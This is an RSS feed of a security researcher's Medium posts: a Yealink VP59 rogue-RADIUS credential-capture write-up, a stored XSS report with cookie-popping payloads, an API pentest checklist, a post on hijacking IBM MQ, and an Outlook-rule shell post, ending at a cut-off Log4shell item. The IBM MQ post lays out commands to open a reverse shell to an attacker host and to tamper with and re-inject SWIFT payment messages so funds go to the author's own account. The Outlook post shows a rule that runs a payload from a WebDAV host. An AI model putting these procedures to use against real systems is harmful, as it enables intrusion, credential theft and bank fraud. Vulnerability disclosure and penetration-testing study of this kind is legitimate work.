<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Yara AlHumaidan (0xy37) on Medium]]></title>
        <description><![CDATA[Stories by Yara AlHumaidan (0xy37) on Medium]]></description>
        <link>https://medium.com/@0xy37?source=rss-fc974bb0ff6------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*seZINnVA1kDI106H8l2MyA.png</url>
            <title>Stories by Yara AlHumaidan (0xy37) on Medium</title>
            <link>https://medium.com/@0xy37?source=rss-fc974bb0ff6------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 22 Nov 2026 08:35:15 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@0xy37/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Pass-Back Attack on WPA Enterprise to Get Creds]]></title>
            <link>https://0xy37.medium.com/pass-back-attack-on-wpa-enterprise-to-get-creds-562d1587df15?source=rss-fc974bb0ff6------2</link>
            <guid isPermaLink="false">https://medium.com/p/562d1587df15</guid>
            <category><![CDATA[cve]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[bug-bounty-tips]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Yara AlHumaidan (0xy37)]]></dc:creator>
            <pubDate>Tue, 10 Nov 2026 21:05:21 GMT</pubDate>
            <atom:updated>2026-11-10T21:05:21.164Z</atom:updated>
            <content:encoded><![CDATA[<p>One of those “wait, that’s it? no re-auth?” bugs. tested this on a VP59 sitting on our bench and walked away with domain creds on Wi-Fi in plaintext.</p><p><strong>Target:</strong> Yealink VP59<br> <strong>Firmware:</strong> 91.15.0.147<br> <strong>Component:</strong> Network → Wi-Fi → Edit Wi-Fi (802.1X/RADIUS config)<br> <strong>Impact:</strong> Enterprise Wi-Fi credential disclosure via rogue RADIUS / Evil Twin AP</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/551/0*XQ1HcfHcInWFuCwk" /></figure><h3>0- The Setup</h3><p>default creds on these phones are user / user. not admin, just the regular non-admin account every VP59 ships with. i logged in expecting read-only Wi-Fi settings, maybe a signal strength page. instead i got full edit access to 802.1X parameters. no “enter admin password to continue,” no re-auth prompt, nothing.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HmjSCSjI9JY_SwuGzZlugA.png" /></figure><p>that’s the whole bug, really. a non-privileged account can rewrite where the phone sends its enterprise credentials.</p><h3>1- Finding the Gap</h3><p>went to <strong>Network → Wi-Fi → Edit Wi-Fi</strong> on the corporate SSID. the edit form lets you set:</p><ul><li>Secure Mode: 802.1X EAP</li><li>EAP Method: PEAP</li><li>CA Certificate: <strong>unspecified</strong> (this is the part that matters)</li><li>Identity / Password (pre-provisioned, i didn’t even need to know them)</li><li>RADIUS / authentication server IP</li></ul><p>no cert pinning, no validation step, no confirmation dialog. you just save it.</p><h3>2- Pointing It at Myself</h3><p>swapped the RADIUS server field to my own box running eaphammer, stood up an Evil Twin AP with a stronger signal than the legit corporate SSID, and waited.</p><pre>└─# eaphammer -i wlan0 --channel 6 --auth wpa-eap --essid CorpWiFi --creds</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fAabd-Pqix6PyejEvcLqmg.png" /></figure><p>phone saw my AP, preferred it (signal strength), and tried to authenticate — straight into my listener.</p><h3>3- Creds, Served</h3><pre>[*] New EAP-GTC identity response captured:<br>    username: jdoe<br>    password: P@ssw0rd123!</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/906/1*NBG-mRZ9PR_WfBX8IAq6Zg.png" /></figure><p>PEAP + EAP-GTC = cleartext creds at the inner tunnel if the client doesn’t validate the server cert. which it didn’t. because it couldn’t — there was never one configured.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/610/0*wrN_76Wja-vY_CmF.png" /></figure><p>if GTC isn’t in play and it falls back to MS-CHAPv2, you still get hashes, just crack them offline instead of reading them off the wire.</p><h3>Why This Matters</h3><ul><li><strong>Credential disclosure</strong> — enterprise Wi-Fi username/password handed to an attacker-controlled RADIUS.</li><li><strong>Lateral movement</strong> — same creds usually work for VPN, SSO, email. people reuse passwords, we all know this.</li><li><strong>Zero privilege required</strong> — this isn’t an admin misconfig. the <em>default non-admin</em> account can do this, out of the box.</li></ul><p>similar root cause to <a href="https://nvd.nist.gov/vuln/detail/cve-2024-12510">CVE-2024–12510</a> (different protocol, same story: insecure redirect + no validation = creds walk out the door).</p><h3>Fix (if you’re the vendor reading this)</h3><ol><li>make Wi-Fi/802.1X edits admin-only. RBAC, not vibes.</li><li>require re-auth (ideally 2FA) before applying anything touching RADIUS host, CA cert, EAP type, or identity/password.</li></ol><h3>Timeline</h3><ul><li><strong>2025–10–20</strong> — found the issue during internal testing</li><li><strong>2025–10–28</strong> — reported to Yealink</li><li><strong>2026–11–05</strong> — CVE-2026–122116 assigned</li></ul><p>that’s it for this write-up. feedback welcome =)</p><h4>References</h4><ul><li><a href="https://nvd.nist.gov/vuln/detail/cve-2026-122116">CVE-2026–122116</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=562d1587df15" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Stored XSS in ChinaSystems Eximbills Enterprise V4.1.5]]></title>
            <link>https://0xy37.medium.com/stored-xss-in-chinasystems-eximbills-enterprise-v4-1-5-f8f5a79c4f0b?source=rss-fc974bb0ff6------2</link>
            <guid isPermaLink="false">https://medium.com/p/f8f5a79c4f0b</guid>
            <dc:creator><![CDATA[Yara AlHumaidan (0xy37)]]></dc:creator>
            <pubDate>Tue, 18 Nov 2025 16:12:18 GMT</pubDate>
            <atom:updated>2025-11-21T08:04:29.218Z</atom:updated>
            <content:encoded><![CDATA[<p>In this post, I’ll walk through a stored Cross-Site Scripting (XSS) vulnerability I identified in <strong>China Systems Eximbills Enterprise V4.1.5 (Built on 2020–10–30)</strong>, affecting the TMPL_INFO parameter in a template management feature. CVE-2025–64030</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/981/1*wfOm2AzwzGhlrcyL4IG9sw.png" /></figure><ul><li><strong>Target:</strong> Eximbills Enterprise V4.1.5</li><li><strong>Vendor:</strong> China Systems</li><li><strong>Product:</strong> Eximbills Enterprise</li><li><strong>Version Tested:</strong> V4.1.5 (Built on 2020–10–30)</li><li><strong>Component:</strong> Web interface — Template management</li><li><strong>Parameter:</strong> TMPL_INFO</li><li><strong>Access Requirements:</strong> Authenticated <strong>regular user</strong></li><li><strong>Impact Scope:</strong> Stored XSS affecting <strong>both regular and admin users</strong></li></ul><p>The vulnerability exists in the <strong>default configuration</strong>, and the exploit does <strong>not</strong> require any special user interaction beyond an attacker saving a crafted template.</p><p><strong>URL:</strong> https://REDACTED/EximBillWeb/servlets/WSTrxManager</p><p><strong>3. Steps To Reproduce:</strong></p><p>1- Login to the application using any regular user.</p><p>2- From the left menu go to Static Data &gt; Credit Officer &gt; Edit Gtee Commission, Locate and click the Template button.</p><p><em>3-</em> Fill the fields with any dummy data, and before submitting the form use a proxy to intercept the request — I’m using Burp Suite proxy.</p><p>4- In the request that you intercepted, locate the TMPL_INFO parameter and add the following payload in the field: &lt;audio src/onerror=confirm(document.domain)/&gt;</p><p>5- Go back to the template menu and the payload should invoke the script and a pop up should fire up. As can be seen the payload is stored in the template menu, and executed whenever any user visits that menu.</p><p>6- To get the user session information the following payload can be used, which will alert the user cookie information: &lt;audio src/onerror=confirm(document.cookie)/&gt;</p><p><strong>- Browsers Verified In: </strong>The vulnerability was tested in Google chrome Version 138.0.7204.158 (Official Build) (64-bit), but it can also be exploited using other browsers.</p><p><strong>- Access Vector Required for Exploitation:</strong> Remote.</p><p><strong>- Vulnerability Exists in Default Configuration?</strong> Yes.</p><p><strong>- Is the exploitation trivial or does it involve a multi-step process that may depend on user/victim interaction?</strong> Exploit does not require user interaction.</p><p><strong>- Exploitation Requires Authentication?</strong> Yes.</p><p><strong>- Under what privileges does the vulnerable service or component run?</strong> Regular user.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f8f5a79c4f0b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[API Testing]]></title>
            <link>https://0xy37.medium.com/api-testing-9de53e7736d3?source=rss-fc974bb0ff6------2</link>
            <guid isPermaLink="false">https://medium.com/p/9de53e7736d3</guid>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[api]]></category>
            <category><![CDATA[api-testing]]></category>
            <dc:creator><![CDATA[Yara AlHumaidan (0xy37)]]></dc:creator>
            <pubDate>Sun, 19 Jan 2025 17:55:09 GMT</pubDate>
            <atom:updated>2025-01-19T17:55:09.681Z</atom:updated>
            <content:encoded><![CDATA[<p>APIs can be found in any IT aspect nowadays, from web and mobile applications all the way to IOT solutions and the cloud. It is of paramount importance for a penetration tester to be able to perform a thorough penetration test against an API.</p><h3>Detection:</h3><h4><strong>Check the path of the API, usually in:</strong></h4><ul><li>http://website.com/api/?wsdl</li><li>http://website.com/api/?wadl</li><li>http://website.com/api/v2/&lt;Methodname&gt;</li><li>http://website.com/api/v3/&lt;Methodname&gt;</li><li>http://website.com/graphql</li></ul><h4><strong>Check for the below headers:</strong></h4><ul><li>Content-Type: Application/soap+xml</li><li>SOAPAction:</li><li>Content-Type: Application/json</li></ul><h3>While Testing:</h3><ul><li>Use different methods:</li></ul><p>GET<br>POST<br>PUT<br>DELETE<br>PATCH</p><ul><li>If the application uses JSON try to change it to xml and try xml injection.</li><li>Use content discovery tools.</li><li>Check all the parameters.</li><li>Check API name and version &amp;&amp; is it costume or open source.</li><li>Check if there is any online documentation ( in case of open-source API ).</li><li>In case it is white-box engagements, ask the client for the API documentation.</li><li>Add proxy to SOAPUI to ease the testing.</li></ul><h3>Testing requirements:</h3><p><strong>(in case it is a white box)</strong></p><ul><li>Ask the client to provide wsdl/wadl documentations.</li><li>If the client implements any kind of authorization (sometimes authorization header) then you need to ask the client to provide Authorization key, or Authorization key, depends on the client environment.</li><li>If the client uses an API for an external entity, you need to have a written permission to test the API.</li></ul><h3>API Attacks:</h3><h3>1–1 Broken Object Level Authorization</h3><p>Object level authorization is an access control mechanism that is usually implemented at the code level to validate that one user can only access objects that they should have access to.</p><h3>How to test:</h3><ul><li><strong>Manipulate the data you have to try and gain access to restricted data.</strong></li></ul><pre>/shops/{shopName}/revenue_data.json → changing the shop name can allow attackers to access different shop data.</pre><ul><li><strong>Check for any non-default headers, and try to manipulate them</strong></li></ul><p>Custom HTTP request header X-User-Id: 54796. Replacing the X-User-Id value with 54795, the attacker receives a successful HTTP response, and is able to modify other users’ account data.</p><h3>1–2 Broken User Authentication</h3><p>Authentication endpoints and flows are assets that need to be protected. “Forgot password / reset password” should be treated the same way as authentication mechanisms.</p><h3>How to test:</h3><p>There are two sub-issues:</p><ol><li><strong>Lack of protection mechanisms.</strong></li><li><strong>Mis-implementation of the mechanism.</strong></li></ol><h3>1–3 Excessive Data Exposure</h3><p>Exploitation of Excessive Data Exposure is simple, and is usually performed by sniffing the traffic to analyze the API responses, looking for sensitive data exposure that should not be returned to the user.</p><h3>How to test:</h3><p>Look for sensitive data exposed in the responses of the target.</p><p>Sample of the issue is presented in this HackerOne report: <a href="https://hackerone.com/reports/723118">https://hackerone.com/reports/723118</a></p><h3>1–4 Lack of Resources &amp; Rate Limiting</h3><p>It’s common to find APIs that do not implement rate limiting or APIs where limits are not properly set. Exploitation may lead to DoS, making the API unresponsive or even unavailable.</p><h3>How to test:</h3><ol><li>Execution timeouts.</li><li>Max allowable memory.</li><li>Number of file descriptors.</li><li>Number of processes.</li><li>Request payload size (e.g., uploads).</li><li>Number of requests per client/resource.</li><li>Number of records per page to return in a single request response.</li></ol><p>Uploads a large image by issuing a POST request to /api/v1/images.</p><p>/api/users?page=1&amp;size=100. An attacker changes the size parameter to 200 000, causing performance issues on the database.</p><h3>1–5 Broken Function Level Authorization</h3><p>Authorization checks for a function or resource are usually managed via configuration, and sometimes at the code level.</p><h3>How to test:</h3><ul><li>Can a regular user access administrative endpoints?</li><li>Can a user perform sensitive actions (e.g., creation, modification, or erasure) that they should not have access to by simply changing the HTTP method (e.g., from GET to DELETE)?</li><li>Check access to sensitive methods.</li><li>Check the usage of sensitive requests (OS Commands) — Can be hidden.</li><li>Can a user from group X access a function that should be exposed only to users from group Y, by simplyguessing the endpoint URL and parameters (e.g., /api/v1/users/export_all)?</li></ul><h3>1–6 Mass Assignment</h3><p>Modern frameworks encourage developers to use functions that automatically bind input from the client into code variables and internal objects. Attackers can use this methodology to update or overwrite sensitive object’s properties that the developers never intended to expose.</p><h3>How to test:</h3><p>Tampering with the request to try and change sensitive values, for example:</p><ul><li>Permission-related properties: user.is_admin, user.is_vip should only be set by admins.</li><li>Process-dependent properties: user.cash should only be set internally after payment verification.</li><li>Internal properties: article.created_time should only be set internally by the application.</li></ul><h3>1–7 Security Misconfiguration</h3><p>Security misconfiguration can happen at any level of the API stack, from the network level to the application level.</p><h3>How to test:</h3><ul><li>Appropriate security hardening is missing across any part of the application stack, or if it has improperly configured permissions on cloud services.</li><li>The latest security patches are missing, or the systems are out of date.</li><li>Unnecessary features are enabled (e.g., HTTP verbs).</li><li>Transport Layer Security (TLS) is missing.</li><li>Security directives are not sent to clients (e.g., Security Headers).</li><li>A Cross-Origin Resource Sharing (CORS) policy is missing or improperly set.</li><li>Access-Control-Allow-Origin [wildcard — null]</li><li>Access-Control-Allow-Credentials [true]</li><li>Check this HackerOne to understand the issue: <a href="https://hackerone.com/reports/426165">https://hackerone.com/reports/426165</a></li><li>Error messages include stack traces, or other sensitive information is exposed.</li><li>Attack the access token</li></ul><ol><li>Test if the values are predictable.</li><li>Test for no invalidation</li><li>Test for tokens leaked</li></ol><h3>1–8 Injection</h3><p>Injection flaws are very common and are often found in SQL, LDAP, or NoSQL queries, OS commands, XML parsers, and ORM. These flaws are easy to discover when reviewing the source code.</p><h3>How to test:</h3><p>Refer to the injection attacks in the Input Validation Testing and test each and every relevant attack.</p><ul><li><strong>in case White box:</strong></li></ul><p>Use the API documentation to test how the application handles the data, and then start to tamper the requests.</p><ul><li><strong>in case Black box:</strong></li></ul><p>Use Burp or any other tool to fuzz the data inputs.</p><h3>1–9 Improper Assets Management</h3><p>Lack of assets inventory and retire strategies leads to running unpatched systems, resulting in leakage of sensitive data.</p><h3>How to test:</h3><p>Check f Old or previous API versions are running unpatched.</p><h3>1–10 Insufficient Logging &amp; Monitoring</h3><p>-in case of White box engagement-</p><h3>How to test:</h3><p>Check if the entity does not produce any logs, the logging level is not set correctly, or log messages do not include enough detail.</p><h3>1–11 Enumerate API Infrastructure</h3><p>Refer to Enumerate Infrastructure and try to look for any files or directories that does not have a proper authorization and access control.</p><h3>API wordlists:</h3><ul><li><a href="https://github.com/danielmiessler/SecLists/blob/a274ffba577a006213fb2fc80c2325560761a004/Discovery/Web-Content/api/common_paths.txt">https://github.com/danielmiessler/SecLists/blob/a274ffba577a006213fb2fc80c2325560761a004/Discovery/Web-Content/api/common_paths.txt</a></li><li><a href="https://github.com/danielmiessler/SecLists/blob/ca6bf04c05447ecfbcc6d99cecb6a7a8bd87f290/Discovery/Web-Content/swagger.txt">https://github.com/danielmiessler/SecLists/blob/ca6bf04c05447ecfbcc6d99cecb6a7a8bd87f290/Discovery/Web-Content/swagger.txt</a></li><li><a href="https://github.com/danielmiessler/SecLists/blob/a93ecd7f91a5d8491c7347abf4c1e84fb56b2c2c/Discovery/Web-Content/golang.txt">https://github.com/danielmiessler/SecLists/blob/a93ecd7f91a5d8491c7347abf4c1e84fb56b2c2c/Discovery/Web-Content/golang.txt</a></li><li><a href="https://gist.github.com/yassineaboukir/8e12adefbd505ef704674ad6ad48743d">https://gist.github.com/yassineaboukir/8e12adefbd505ef704674ad6ad48743d</a></li></ul><h3>1–12 Configuration Management</h3><p>There are some security-related HTTP headers that it needs to be set. These headers are:</p><ul><li>Strict-Transport-Security enforces secure (HTTP over SSL/TLS) connections to the server</li><li>X-Frame-Options provides click-jacking protection</li><li>X-XSS-Protection enables the Cross-site scripting (XSS) filter built into most recent web browsers</li><li>X-Content-Type-Options prevents browsers from MIME-sniffing a response away from the declared content-type</li><li>Content-Security-Policy prevents a wide range of attacks, including Cross-site scripting and other cross-site injections</li><li>Access-Control-Allow-Origin [Domain — wildcard — null]</li><li>Access-Control-Allow-Credentials [true — false]</li></ul><h3>Automated tools:</h3><h4>SoapUI</h4><p><strong>Step 1 − In the navigator on the left side of the screen, right-click on the “Project” and select “New SOAP Project”.</strong></p><p>On selection, a new pop-up window opens -New Soap Project.</p><p><strong>Step 2</strong> − <strong>Project Name</strong>: Enter a project name — it is the user input field. <strong>Initial WSDL</strong>: provide WSDL URL</p><p><strong>Step 3: </strong>Leave the default settings and click OK. SoapUI will load the specified WSDL and parse its contents into the following object model:</p><p><strong>Step 4: </strong>Explore WSDL: Double-click the service in the navigator to open the editor: The <strong>Overview</strong> tab contains general information on the WSDL file: its URL, target namespace, etc.</p><p>The <strong>WSDL Content</strong> tab provides more details on the WSDL file</p><p>After that you can tamper with the requests and test each one of them.</p><p><strong>SoupUI Security Testing</strong></p><p>1. Create a Functional TestCase (or use an existing one)</p><h3>2. Add a Security Test</h3><p>right click the TestCase and select the “New SecurityTest” option, this opens the following dialog:</p><p>Select the “Auto” mode to generate default Security Scans and Assertions for the TestSteps in your TestCase and press “Next”:</p><p>Here you see a summary of all the Security Scans and Assertions SoapUI will add to the Security Test, press OK to create the Security Test with the described configuration and open the Security Test window:</p><h3>3. Run the Security Test</h3><p>Run the Test by pressing the green arrow on the top left (make sure the target service is running), you will see ongoing progress for each TestStep and configured Security Scans in the Security Test window:</p><p>You will see ongoing progress in the main window as the different Security Scans are executed, more detailed information is available in the Security Log at the bottom.</p><h3>4. Analyze the Results</h3><p>Check here for unexpected alerts that might indicate a possible security vulnerability in your target service. Double click individual entries to see their actual message exchanges.</p><p><strong>Configure SOAP UI to use the Burp Proxy:</strong></p><p>There are two ways to this: File-&gt;Preferences-&gt;Proxy Settings or using the “Proxy” icone</p><p><strong>Other tool:</strong></p><p><strong>SwaggerUI</strong></p><h4>Automatic API Attack Tool (not updated)</h4><p><a href="https://github.com/imperva/automatic-api-attack-tool">https://github.com/imperva/automatic-api-attack-tool</a></p><p><strong>how to use the tool:</strong></p><p>api-attack.sh -f myapi_swagger.yaml -n test.domain.com -s https</p><p>-f, — specFile=<em>specFilePath </em>The API specification file (swagger 2.0) to run on. JSON/YAML format.</p><p>-n, — hostName=<em>hostName it can be an IP</em></p><p>-s, — hostScheme=<em>hostScheme</em> e.g: https or http</p><h4>WSDLer</h4><p>This burp extension takes a WSDL request, parses out the operations that are associated with the targeted web service, and generates SOAP requests that can then be sent to the SOAP endpoints.</p><h3>Other Resources:</h3><ul><li><strong>OWASP API security top 10</strong></li></ul><p><a href="https://raw.githubusercontent.com/OWASP/API-Security/develop/2019/en/dist/owasp-api-security-top-10.pdf">https://raw.githubusercontent.com/OWASP/API-Security/develop/2019/en/dist/owasp-api-security-top-10.pdf</a></p><ul><li><strong>API Security Checklist</strong></li></ul><p><a href="https://github.com/shieldfy/API-Security-Checklist">https://github.com/shieldfy/API-Security-Checklist</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9de53e7736d3" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Attacking IBM MQ — SWIFT to Steal Money$$$]]></title>
            <link>https://0xy37.medium.com/attacking-ibm-mq-swift-to-steal-money-fa89e5f3e855?source=rss-fc974bb0ff6------2</link>
            <guid isPermaLink="false">https://medium.com/p/fa89e5f3e855</guid>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[hacker]]></category>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[oscp]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <dc:creator><![CDATA[Yara AlHumaidan (0xy37)]]></dc:creator>
            <pubDate>Sun, 27 Feb 2022 18:11:22 GMT</pubDate>
            <atom:updated>2022-02-27T18:23:35.131Z</atom:updated>
            <content:encoded><![CDATA[<h3>Attacking IBM MQ — SWIFT to Steal Money$$$</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/860/0*kR1zJ0b-izf-36s9.jpg" /></figure><h3>What is IBM MQ?</h3><p>It is a Message-oriented middleware, Basically, the glue between any two pieces of software that can speak MQ. e.g.: Something written in Java can exchange messages with something written in C.</p><p>Messages can be anything (SWIFT messages) SWIFT Alliance software use MQ internally as well. IBM MQ can integrate with SWIFT MQ instance.</p><p>It is detectable by nessus:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/888/1*Gx8n3INZ5_NvgEiwENR9WQ.png" /></figure><h3>IBM MQ — Client GUI, MQ Explorer</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/970/1*SGvHe1lH3q_DwisvvxBB3g.png" /></figure><p>As seen below, we have installed IBM MQ and it is using port 1414</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/574/1*icQRTInzlkR4D9HczUl2Mw.png" /></figure><h3>👊 punch-q</h3><p><a href="https://github.com/sensepost/punch-q">GitHub - sensepost/punch-q: 👊 A small utility to play with IBM MQ</a></p><p>punch-q is a small Python utility used to play with IBM MQ instances. Using punch-q, it is possible to perform security related tasks such as manipulating messages on an IBM MQ queue granting one the ability to tamper with business processes at an integration layer.</p><p>In the example below we will target a banking system — we will target SWIFT messaging queues, you can use the same technique to any other messaging system.</p><h3><strong>Enumeration</strong></h3><p>The first step is to discover channels we may be able to access on the queue manager. We can brute force available channels without any authentication because of how the queue manager responds to probes, which is implemented in the discover channels subcommand in punch-q.</p><p>./run-punchq.sh --host &lt;target-ip&gt; --port &lt;target-port&gt; discover channels</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/709/1*6apGxwReZcvunlCriIrZtw.png" /></figure><h3><strong>Getting Access</strong></h3><p>Next, we need to see if we can guess any credentials that may work on the discovered channels.</p><p>While there may be more undiscovered channels, the three we have this far is a good start.</p><p>Channels are often configured to be available without any authentication, and punch-q checks for that during channel enumeration.</p><p>./run-punchq.sh --host &lt;target-ip&gt; --port &lt;target-port&gt; discover users -c &lt;CHANNEL NAME&gt;</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/847/1*KENMFHeYgH4rcMZeG59Wiw.png" /></figure><h3><strong>Getting Shell:</strong></h3><p>./run-punchq.sh --host &lt;target-ip&gt; --port &lt;target-port&gt; -U &lt;user&gt; -P &lt;password&gt; --channel &lt;channel-name&gt; command reverse --ip &lt;attacker-ip&gt; --port &lt;attacker-port&gt;</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*faEW-ANirMB-wiHIvZGu9Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/637/1*yeQCT782_bLp_DGJsM2NqQ.png" /></figure><h3><strong>Getting Rich =)</strong></h3><p>As said previously,<strong> IBM MQ can integrate with SWIFT MQ instance, </strong>We will use the sub command to show the message queues themselves. has a -p flag that you should update to ‘MQ.*’ to help narrow down interesting queues you could abuse.</p><p>./run-punchq.sh --host &lt;target-ip&gt; --port &lt;target-port&gt; -U &lt;user&gt; -P &lt;password&gt; --channel &lt;channel-name&gt; show queues -p &#39;MQ.*&#39;</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*H9F4mcLn8eNFEVYztVawFA.png" /></figure><p>With valid queues, we are now able to sniff messages, we can do so with the messages sniff subcommand.</p><p>./run-punchq.sh --host &lt;target-ip&gt; --port &lt;target-port&gt; -U &lt;user&gt; -P &lt;password&gt; --channel &lt;channel-name&gt; messages sniff --queue MQ.MESSAGE_IN</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6EBsB0CpqNwZfBexmGMc2g.png" /></figure><p>As shown above, this is a sniffed SWIFT message contains a money transaction.</p><p>What we can do in this case is to manipulate the messages (adding my own account number) and resend them back.</p><p>This is my bank account =) we need to gather the account number and the bank SWIFT code.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1Rz5d_ug5UZq309ZivkP7Q.png" /></figure><p>next we have to edit the sniffed messages as the following:<br>Block 2 : After the I103, set the Bank Identifier Code (BIC) to your bank number. This is banks SWIFT code.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gCHCWjyCM2moBqJFLgpf7A.png" /></figure><p>Block 3: tag 121 update the uuid number with a new one. use the below command to generate new uuid:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/396/1*Nk_-2Hi8b0jhhVw03vXtBg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pPKjxeX7sJtkXbexo8a9gw.png" /></figure><p>last thing is to edit block3 tag 50K and tag 59 with your current account number.</p><p>Now we have the modified message, we can use punchq to push the message to the SWIFT network:</p><p>./run-punchq.sh --host &lt;target-ip&gt; --port &lt;target-port&gt; -U &lt;user&gt; -P &lt;password&gt; --channel &lt;channel-name&gt; messages push --queue &#39;MQ.MESSAGE_IN&#39; -f &lt;location of the modified message&gt;</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dadvL6PdglYXGhwCf6uZTg.png" /></figure><p>Now we should have some cash received to our account =)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BlS0b6N7wn1n28B9ZIjfuQ.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=fa89e5f3e855" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Mail rules/forms to get a shell]]></title>
            <link>https://0xy37.medium.com/mail-rules-forms-to-get-a-shell-6451be101395?source=rss-fc974bb0ff6------2</link>
            <guid isPermaLink="false">https://medium.com/p/6451be101395</guid>
            <category><![CDATA[exploit]]></category>
            <category><![CDATA[red-teaming]]></category>
            <category><![CDATA[active-directory]]></category>
            <category><![CDATA[oscp]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <dc:creator><![CDATA[Yara AlHumaidan (0xy37)]]></dc:creator>
            <pubDate>Mon, 03 Jan 2022 13:38:38 GMT</pubDate>
            <atom:updated>2022-01-03T13:44:59.553Z</atom:updated>
            <content:encoded><![CDATA[<p>If you were in a redteaming assessments, and you somehow have a valid credentials to a user mailbox you can get a remote shell using the below attack scenario.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/498/0*MY2YV0a2dIHWSWJe" /></figure><p>ps. This will work on Outlook Web Access (OWA)</p><p>Like most good attacks, we aren’t really exploiting flaws, just abusing functionality to get reliable code execution.</p><p>You need three pieces of information:</p><ol><li>Payload in a bat/exe file</li><li>Hosted on a webdav server</li><li>and credentials!</li></ol><p>We will use a cool tool called <strong>Ruler</strong>. A tool to abuse Exchange services</p><p><a href="https://github.com/sensepost/ruler">GitHub - sensepost/ruler: A tool to abuse Exchange services</a></p><h3>Checking Access</h3><p>Check if the credentials are valid and if we can access the mail box remotely:</p><pre>0xy37@kali:~/Tools/ruler# ./ruler-linux64 -insecure -username john -email john@email.com -password P@ssw0rd321 check</pre><pre>[+] Retrieving MAPI/HTTP info<br>[+] Looks like we are good to go!</pre><h3>Displaying Existing Rules</h3><p>Check if the target user account have any existing rule:</p><pre>0xy37@kali:~/Tools/ruler# ./ruler-linux64 -insecure -username john -email john@email.com -password P@ssw0rd321 display</pre><pre>[+] Found cached Autodiscover record. Using this (use — nocache to force new lookup)<br>[+] Retrieving Rules<br>[+] No Rules Found</pre><h3>Add a New Rule</h3><p>Now we add a new rule, this is the malicious rule that should get us a remote shell.</p><pre>0xy37@kali:~/Tools/ruler# ./ruler-linux64 -insecure -username john -email john@email.com -password P@ssw0rd321 add -location “\\\\10.10.10.10@81\\webdav\\stage.bat” -send</pre><pre>[+] Found cached Autodiscover record. Using this (use — nocache to force new lookup)<br>[+] Adding Rule<br>[+] Rule Added. Fetching list of rules…<br>[+] Found 1 rules<br>[+] Rule Name | Rule ID<br>[+] — — — — — — — — — — -| — — — — — — — — — <br>[+] Delete Spam | 0100000307e1be2e<br>[+]<br>[+] Auto Send enabled, wait 30 seconds before sending email (synchronisation)<br>[+] Sending email<br>[+] Message sent, your shell should trigger shortly.</pre><p>Getting the shell:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*v5rFiBoALP8cW3Viuus9DQ.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6451be101395" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[CVE-2021–44228 — Log4shell]]></title>
            <link>https://0xy37.medium.com/cve-2021-44228-log4shell-cfd07ad54fa2?source=rss-fc974bb0ff6------2</link>
            <guid isPermaLink="false">https://medium.com/p/cfd07ad54fa2</guid>
            <category><![CDATA[cve]]></category>
            <category><![CDATA[log4j]]></category>
            <category><![CDATA[log4j2]]></category>
            <category><![CDATA[cve-2021-44228]]></category>
            <category><![CDATA[log4shell]]></category>
            <dc:creator><![CDATA[Yara AlHumaidan (0xy37)]]></dc:creator>
